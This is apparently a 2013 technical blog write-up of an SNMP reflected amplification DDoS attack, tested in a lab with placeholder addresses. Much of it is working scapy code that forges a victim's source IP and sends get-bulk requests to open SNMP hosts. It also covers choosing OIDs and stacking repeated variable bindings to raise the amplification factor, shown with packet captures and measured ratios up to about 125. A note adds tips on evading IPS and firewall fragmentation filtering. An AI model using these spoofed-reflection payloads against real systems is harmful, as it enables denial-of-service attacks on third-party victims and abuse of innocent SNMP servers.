SNMP Reflected Amplification DDoS Attack

Rainy day considerations... (last update 2013/02/08)

"This DDoS vector is similar to the older DNS Amplification Attack, but instead of DNS it uses Simple Network Management Protocol (SNMP) services to reflect and amplify a stream of UDP packets toward a DDoS target. The attacker's packets contain forged (spoofed) originating IP addresses, so that the SNMP server to which these packets are sent replies with a large UDP packet to the spoofed address, which belongs to the victim. The amplification effect of this vector can produce high traffic volumes from a relatively small input stream, effectively clogging the 'pipes' into the victim's server to produce denial of service." (spamhaus.org)

Choose the best query

Generally the best choice (response size and availability hardware) is 1.3.6.1.2.1.1.1. Some examples:


Otherwise you can easily use scapy to make a rudimentary snmpwalk-like to enumerate for oid and return the size of the response (snmpsize script):

IP(dst=target)/UDP(dport=port)/SNMP(version=version,community=community,PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=ASN1_OID(oid))]))

1.1.1.1 attacker
1.1.1.2 host with SNMP public
1.1.1.3 target
./snmpsize.py 1.1.1.2 public 1.3.6.1.2.1 v1

1.3.6.1.2.1.55.1.5.1.8.2  77 bytes
1.3.6.1.2.1.55.1.5.1.8.3  77 bytes
1.3.6.1.2.1.55.1.5.1.9.1  72 bytes
1.3.6.1.2.1.55.1.5.1.9.2  72 bytes
.....
1.3.6.1.2.1.88.1.4.3.1.3.6.95.115.110.109.112.100.95.108.105.110.107.85.112  96 bytes
1.3.6.1.2.1.92.1.1.1.0  72 bytes
.....
1.3.6.1.2.1.92.1.1.2.0  72 bytes
1.3.6.1.2.1.92.1.2.1.0  71 bytes
1.3.6.1.2.1.92.1.2.2.0  71 bytes
.....

best choices: 1.3.6.1.2.1.25.4.2.1.5.32284	167 bytes

Spoofing and reflection with scapy

>>> p=sr1(IP(src="1.1.1.3",dst="1.1.1.2")/UDP(sport=161,dport=161)/SNMP(version="v2c",community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
	Begin emission:
	....Finished to send 1 packets.
	.*
	Received 6 packets, got 1 answers, remaining 0 packets

>>> p
	 community= PDU= error= error_index= varbindlist=[ value= |>] |> |>>>

>>> p.len
	202

The get-bulk Operation

"SNMPv2 defines the get-bulk operation, which allows a management application to retrieve a large section of a table at once. The standard get operation can attempt to retrieve more than one MIB object at once, but message sizes are limited by the agent's capabilities. If the agent can't return all the requested responses, it returns an error message with no data. The get-bulk operation, on the other hand, tells the agent to send as much of the response back as it can. This means that incomplete responses are possible. Two fields must be set when issuing a get-bulk command: nonrepeaters and max-repetitions. Nonrepeaters tells the get-bulk command that the first N objects can be retrieved with a simple get-next operation. Max-repetitions tells the get-bulk command to attempt up to M get-next operations to retrieve the remaining objects." (docstore.mik.ua)

snmpbulkget + tcpdump -p udp port 161 -v -n -s0

snmpbulkget -v2c -Os -c public 1.1.1.2 internet

15:52:51.638811 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
		1.1.1.1.33688 > 1.1.1.2.161:  { SNMPv2c { GetBulk(23) R=386665918  N=0 M=10 .1.3.6.1 } }
		
15:52:51.639370 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 450)
		1.1.1.1.161 > 1.1.1.2.33688:  { SNMPv2c { GetResponse(403) R=386665918  .1.3.6.1.2.1.1.1.0="Linux test 2.6.32-26-generic-pae #48-Ubuntu SMP Wed Nov 24 10:31:20 UTC 2010 i686" .1.3.6.1.2.1.1.2.0=.1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.3.0=25779133 .1.3.6.1.2.1.1.4.0="Root <root@localhost> (configure /etc/snmp/snmpd.local.conf)" .1.3.6.1.2.1.1.5.0="test" .1.3.6.1.2.1.1.6.0="Unknown (configure /etc/snmp/snmpd.local.conf)" .1.3.6.1.2.1.1.8.0=0 .1.3.6.1.2.1.1.9.1.2.1=.1.3.6.1.6.3.10.3.1.1 .1.3.6.1.2.1.1.9.1.2.2=.1.3.6.1.6.3.11.3.1.1 .1.3.6.1.2.1.1.9.1.2.3=.1.3.6.1.6.3.15.2.1.1 } }
snmpbulkget -v2c -Os -c public 1.1.1.2 internet sysDescr ifInOctets ifOutOctets system
		
15:54:07.588940 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 121)
		1.1.1.1.43960 > 1.1.1.2.161:  { SNMPv2c { GetBulk(78) R=721823517  N=0 M=10 .1.3.6.1 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.2.2.1.10 .1.3.6.1.2.1.2.2.1.16 .1.3.6.1.2.1.1 } }
			
15:54:07.589900 IP (tos 0x0, ttl 64, id 17178, offset 0, flags [+], proto UDP (17), length 1500)
		1.1.1.2.161 > 1.1.1.1.43960:  [len1468<asnlen1550]

get-bulk request + spoofing and reflection with scapy

send(IP(src='1.1.1.3',dst='1.1.1.2')/UDP(sport=161,dport=161)/SNMP(version='v2c',community='public',PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=10,varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3'))])))

17:16:38.473494 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 85)
    1.1.1.3.161 > 1.1.1.2.161:  { SNMPv2c { GetBulk(42) R=62346538  N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 } }
	
17:16:38.473972 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 998)
    1.1.1.2.161 > 1.1.1.3.161:  { SNMPv2c { GetResponse(951) R=62346538  .1.3.6.1.2.1.1.1.0="Linux test 2.6.32-26-generic-pae #48-Ubuntu SMP Wed Nov 24 10:31:20 UTC 2010 i686" .1.3.6.1.2.1.1.9.1.3.1="The SNMP Management Architecture MIB." .1.3.6.1.2.1.1.2.0=.1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.9.1.3.2="The MIB for Message Processing and Dispatching." .1.3.6.1.2.1.1.3.0=26281817 .1.3.6.1.2.1.1.9.1.3.3="The management information definitions for the SNMP User-based Security Model." .1.3.6.1.2.1.1.4.0="Root <root@localhost> (configure /etc/snmp/snmpd.local.conf)" .1.3.6.1.2.1.1.9.1.3.4="The MIB module for SNMPv2 entities" .1.3.6.1.2.1.1.5.0="test" .1.3.6.1.2.1.1.9.1.3.5="The MIB module for managing TCP implementations" .1.3.6.1.2.1.1.6.0="Unknown (configure /etc/snmp/snmpd.local.conf)" .1.3.6.1.2.1.1.9.1.3.6="The MIB module for managing IP and ICMP implementations" .1.3.6.1.2.1.1.8.0=0 .1.3.6.1.2.1.1.9.1.3.7="The MIB module for managing UDP implementations" .1.3.6.1.2.1.1.9.1.2.1=.1.3.6.1.6.3.10.3.1.1 .1.3.6.1.2.1.1.9.1.3.8="View-based Access Control Model for SNMP." .1.3.6.1.2.1.1.9.1.2.2=.1.3.6.1.6.3.11.3.1.1 .1.3.6.1.2.1.1.9.1.4.1=0 .1.3.6.1.2.1.1.9.1.2.3=.1.3.6.1.6.3.15.2.1.1 .1.3.6.1.2.1.1.9.1.4.2=0 } }
Wireshark on target: 1012 bytes
Aplification: 998 / 85 = 11,7

Repeating the same oid more times

send(IP(src='1.1.1.3',dst='1.1.1.2')/UDP(sport=161,dport=161)/SNMP(version='v2c',community='public',PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=10,varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3'))])))

17:18:12.226292 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 113)
    1.1.1.3.161 > 1.1.1.2.161:  { SNMPv2c { GetBulk(70) R=156035641  N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 } }
	
17:18:12.227047 IP (tos 0x0, ttl 64, id 3563, offset 0, flags [+], proto UDP (17), length 1500)
    1.1.1.2.161 > 1.1.1.3.161:  [len1468<asnlen1901]
Wireshark on target: 466 bytes captured, but there are 2 IPv4 fragments; reassembled IPv4 length: 1912 bytes
Aplification: 1912 / 113 = 16

send(IP(src='1.1.1.3',dst='1.1.1.2')/UDP(sport=161,dport=161)/SNMP(version='v2c',community='public',PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=10,varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.9.1.3'))])))

17:19:36.641436 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 141)
    1.1.1.3.161 > 1.1.1.2.161:  { SNMPv2c { GetBulk(98) R=114316456  N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3 } }
	
17:19:36.642303 IP (tos 0x0, ttl 64, id 3565, offset 0, flags [+], proto UDP (17), length 1500)
    1.1.1.2.161 > 1.1.1.3.161:  [len1468<asnlen2836]
Wireshark on target: 1042 bytes captured, but there are 2 ipv4 fragments; reassembled IPv4 length: 2848 bytes
Aplification: 2848 / 141 = 20

Notes by Anestis Bechtsoudis (bechtsoudis.com)

Generally I avoid to exceed max MTU (1500) size at my tests, in order to prevent fragmentation. That's because many 'decent' IPS/Firewalls has IP Fragmentation protection layers composing and filtering before transmitting to end-host. And usually SNMP packets are not in the core allow rulesets.

Of course on an internal attack scenario fragmentation is desirable. For example by slightly altering your last vector (amplifying via a Cisco 4500) some pretty good amplification factor is achieved: (1500x11 + 1240) / 141 = 125.81